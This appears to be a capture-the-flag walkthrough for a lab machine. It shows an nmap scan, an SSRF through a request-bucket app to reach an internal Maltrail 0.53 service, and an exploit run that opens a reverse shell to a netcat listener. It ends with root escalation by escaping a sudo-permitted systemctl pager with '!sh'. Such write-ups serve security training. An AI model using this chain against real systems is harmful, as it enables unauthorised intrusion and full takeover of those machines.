Portscan:
sudo nmap -sV 10.10.11.224
Reveals:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp filtered http 55555/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port55555-TCP:V=7.94%I=7%D=8/10%Time=64D477DD%P=x86_64-pc-linux-gnu%r(G (...)
For port 55555 we get a bunch of different responses gathered by Nmap. Some indicate that a website may be running on this port, so we check that in the browser:
10.10.11.224:55555
Yes! A website is displayed. Here we can create buckets to analyze API calls. Let's create a bucket named "buck". Then open it. The URL for the bucket is
http://10.10.11.224:55555/buck
The website allows you to modify this bucket, by clicking the settings button. After some research about the system, we found an exploit for this version, which we will use to get a reverse shell. Configure the bucket to:
Forward URL: http://127.0.0.1:80 Set a check mark for "Proxy Response" Hit apply
Now, when visiting:
http://10.10.11.224:55555/buck
We get a broken Maltrail frontend displayed. And we find out that the version 0.53 is exploitable!
So we open a new terminal window and start Netcat on port 80:
sudo netcat -lvnp 80
Expected output:
listening on [any] 80 ...
Then we create a new file and paste in the Maltrail-v0.53-Exploit code (resource below):
mkdir temp cd temp sudo nano exploitMaltrail.py
paste the code, hit ctrl + shift + o, then hit enter and then ctrl + shift + x to close the editor.
Before running the exploit, we change the Forward URL of the bucket to:
Forward URL: http://127.0.0.1:80/login
Now, run the exploit:
python3 exploitMaltrail.py YOURIP 80 http://10.10.11.224:55555/buck
Expected output:
Running exploit on http://10.10.11.224:55555/buck
After a short while, in the Netcat window, the reverse shell opens up! Go and get the user flag:
cd ~ cat user.txt
Time for privilege escalation. Check if the current user puma can run any sudo commands:
sudo -l
Relevant output:
User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
So, let's run this command:
sudo /usr/bin/systemctl status trail.service
Type in
!sh
Hit enter
cd ~ cat root.txt
Done!